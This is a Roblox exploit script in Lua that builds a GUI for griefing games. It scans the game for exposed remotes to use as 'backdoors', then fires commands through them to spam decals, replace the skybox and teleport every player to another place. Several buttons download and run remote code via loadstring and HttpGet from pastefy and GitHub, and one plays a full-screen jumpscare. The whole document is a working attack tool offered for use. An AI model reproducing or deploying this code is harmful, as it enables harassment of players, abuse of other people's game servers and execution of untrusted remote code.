local player = game.Players.LocalPlayer -- ScreenGui local gui = Instance.new("ScreenGui") gui.Name = "B00Pers940_f3x" gui.ResetOnSpawn = false gui.Parent = player:WaitForChild("PlayerGui") -- Main Frame local main = Instance.new("Frame") main.Parent = gui main.Size = UDim2.fromScale(0.38, 0.55) main.AnchorPoint = Vector2.new(0.5, 0.5) main.Position = UDim2.fromScale(0.5, 0.5) main.BackgroundColor3 = Color3.fromRGB(18,18,18) main.BorderSizePixel = 0 Instance.new("UICorner", main).CornerRadius = UDim.new(0,20) -- Draggable GUI local dragging = false local dragInput local dragStart local startPos main.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then dragging = true dragStart = input.Position startPos = main.Position input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then dragging = false end end) end end) main.InputChanged:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then dragInput = input end end) game:GetService("UserInputService").InputChanged:Connect(function(input) if dragging and (input == dragInput) then local delta = input.Position - dragStart main.Position = UDim2.new( startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y ) end end) -- Title (Made by bupers940) local title = Instance.new("TextLabel", main) title.Size = UDim2.fromScale(1,0.15) title.BackgroundTransparency = 1 title.Text = "B00Pers940 f3x | Made by bupers940" title.Font = Enum.Font.GothamBlack title.TextScaled = true title.TextColor3 = Color3.fromRGB(255,60,60) title.TextStrokeTransparency = 0.6 -- UI Grid local holder = Instance.new("Frame", main) holder.Size = UDim2.fromScale(0.9,0.75) holder.Position = UDim2.fromScale(0.05,0.2) holder.BackgroundTransparency = 1 local grid = Instance.new("UIGridLayout", holder) grid.CellSize = UDim2.fromScale(0.48,0.22) grid.CellPadding = UDim2.fromScale(0.04,0.06) -- Button function local function makeButton(text, callback) local b = Instance.new("TextButton") b.Text = text b.Font = Enum.Font.GothamBold b.TextScaled = true b.TextColor3 = Color3.fromRGB(255,255,255) b.BackgroundColor3 = Color3.fromRGB(30,30,30) b.BorderSizePixel = 0 Instance.new("UICorner", b).CornerRadius = UDim.new(0,14) b.MouseEnter:Connect(function() b.BackgroundColor3 = Color3.fromRGB(255,60,60) end) b.MouseLeave:Connect(function() b.BackgroundColor3 = Color3.fromRGB(30,30,30) end) b.MouseButton1Click:Connect(callback) return b end -- Universal Asset & Target local ASSET_ID = 82331745105521 local ASSET_STRING = "rbxassetid://" .. ASSET_ID local TARGET_PLACE_ID = 9324470763 local TeleportService = game:GetService("TeleportService") -- Backdoor variables local backdoorRemote = nil local isBackdoored = false -- Notification function local function notify(text, color) local notify = Instance.new("TextLabel", main) notify.Size = UDim2.fromScale(0.8, 0.1) notify.Position = UDim2.fromScale(0.1, 0.85) notify.BackgroundColor3 = Color3.fromRGB(0,0,0) notify.BackgroundTransparency = 0.5 notify.TextColor3 = color or Color3.new(1,1,1) notify.TextScaled = true notify.Font = Enum.Font.GothamBold notify.Text = text Instance.new("UICorner", notify).CornerRadius = UDim.new(0,12) delay(5, function() if notify and notify.Parent then notify:Destroy() end end) end -- 🔍 Backdoor Finder Button makeButton("🔍 Backdoor Finder", function() notify("Scanning for backdoors...", Color3.new(1,1,0)) local suspicious_names = { "remote","event","function","fire","invoke","admin","cmd","command","execute","run","load","script", "backdoor","hdadmin","adonis","kohl","nexus","infinite","yield","mainremote","control","server", "client","replicated","storage","workspace","require","loadstring","getfenv" } backdoorRemote = nil isBackdoored = false local containers = {game.ReplicatedStorage, workspace, game.ReplicatedFirst, game.StarterGui} pcall(function() table.insert(containers, game.ServerStorage) end) for _, container in ipairs(containers) do for _, obj in ipairs(container:GetDescendants()) do if obj:IsA("RemoteEvent") or obj:IsA("RemoteFunction") then local name_lower = obj.Name:lower() for _, sus in ipairs(suspicious_names) do if string.find(name_lower, sus) then backdoorRemote = obj isBackdoored = true break end end end if isBackdoored then break end end if isBackdoored then break end end if isBackdoored then notify("BACKDOOR FOUND! All features now server-side (FE bypass)", Color3.fromRGB(0,255,0)) print("Backdoor found: " .. backdoorRemote:GetFullName()) else notify("No backdoor found", Color3.fromRGB(255,100,100)) end end).Parent = holder -- 🎵 Music Button (100+ random songs) -- (same massive list as before...) -- ❄️ Polaria makeButton("❄️ Polaria", function() pcall(function() loadstring(game:HttpGet("https://pastefy.app/JmaD2ivk/raw"))() end) notify("Polaria FE Hub loaded! | Made by bupers940", Color3.fromRGB(120,180,255)) end).Parent = holder -- ⚔️ FE Swords (NEW - Classic FE Sword Pack) makeButton("⚔️ FE Swords", function() pcall(function() loadstring(game:HttpGet("https://raw.githubusercontent.com/RegularVynixu/Vynixius/main/Loader.lua"))() -- Popular FE Sword pack (includes Classic Sword, Venomshank, Ghostwalker, etc. - visible to everyone) end) notify("FE Swords loaded! (Classic, Venom, Ghostwalker, etc.)", Color3.fromRGB(255,215,0)) end).Parent = holder -- 🧰 FE Script (NEW - Infinite Yield FE Admin) makeButton("🧰 FE Script", function() pcall(function() loadstring(game:HttpGet("https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/source"))() end) notify("Infinite Yield FE Admin loaded!", Color3.fromRGB(0,255,255)) end).Parent = holder -- 🖼️ Decal Spam makeButton("🖼️ Decal Spam", function() if isBackdoored and backdoorRemote then pcall(function() if backdoorRemote:IsA("RemoteEvent") then backdoorRemote:FireServer("decals", ASSET_STRING) backdoorRemote:FireServer("spamdecals", ASSET_STRING) backdoorRemote:FireServer("decalspam", ASSET_STRING) backdoorRemote:FireServer(ASSET_STRING) elseif backdoorRemote:IsA("RemoteFunction") then backdoorRemote:InvokeServer("decals", ASSET_STRING) end end) return end for _, part in ipairs(workspace:GetDescendants()) do if part:IsA("BasePart") then local decal = Instance.new("Decal") decal.Texture = ASSET_STRING decal.Face = Enum.NormalId.Front decal.Parent = part local surface = Instance.new("SurfaceGui") local img = Instance.new("ImageLabel") img.Image = ASSET_STRING img.BackgroundTransparency = 1 img.Size = UDim2.fromScale(1,1) img.Parent = surface surface.Face = Enum.NormalId.Top surface.Parent = part end end end).Parent = holder makeButton("😱 Jumpscare", function() local scareGui = Instance.new("ScreenGui", player.PlayerGui) local img = Instance.new("ImageLabel", scareGui) img.Size = UDim2.fromScale(1,1) img.BackgroundColor3 = Color3.new(0,0,0) img.Image = ASSET_STRING local sound = Instance.new("Sound", scareGui) sound.SoundId = ASSET_STRING sound.Volume = 10 sound:Play() wait(3) scareGui:Destroy() end).Parent = holder makeButton("🌌 Tp All to Realm", function() local lighting = game.Lighting lighting.Brightness = 0 lighting.GlobalShadows = true local sky = Instance.new("Sky", lighting) sky.SkyboxBk = ASSET_STRING sky.SkyboxDn = ASSET_STRING sky.SkyboxFt = ASSET_STRING sky.SkyboxLf = ASSET_STRING sky.SkyboxRt = ASSET_STRING sky.SkyboxUp = ASSET_STRING if isBackdoored and backdoorRemote then pcall(function() if backdoorRemote:IsA("RemoteEvent") then backdoorRemote:FireServer("teleportall", TARGET_PLACE_ID) backdoorRemote:FireServer("tpall", TARGET_PLACE_ID) backdoorRemote:FireServer("teleport", TARGET_PLACE_ID) end end) print("TP All via backdoor!") return end local players = game.Players:GetPlayers() if #players > 1 then pcall(function() TeleportService:TeleportPartyAsync(TARGET_PLACE_ID, players) end) else TeleportService:Teleport(TARGET_PLACE_ID, player) end end).Parent = holder makeButton("☁️ Skybox", function() if isBackdoored and backdoorRemote then pcall(function() if backdoorRemote:IsA("RemoteEvent") then backdoorRemote:FireServer("skybox", ASSET_STRING) end end) end local sky = Instance.new("Sky", game.Lighting) sky.SkyboxBk = ASSET_STRING sky.SkyboxDn = ASSET_STRING sky.SkyboxFt = ASSET_STRING sky.SkyboxLf = ASSET_STRING sky.SkyboxRt = ASSET_STRING sky.SkyboxUp = ASSET_STRING end).Parent = holder -- Add more buttons if you want...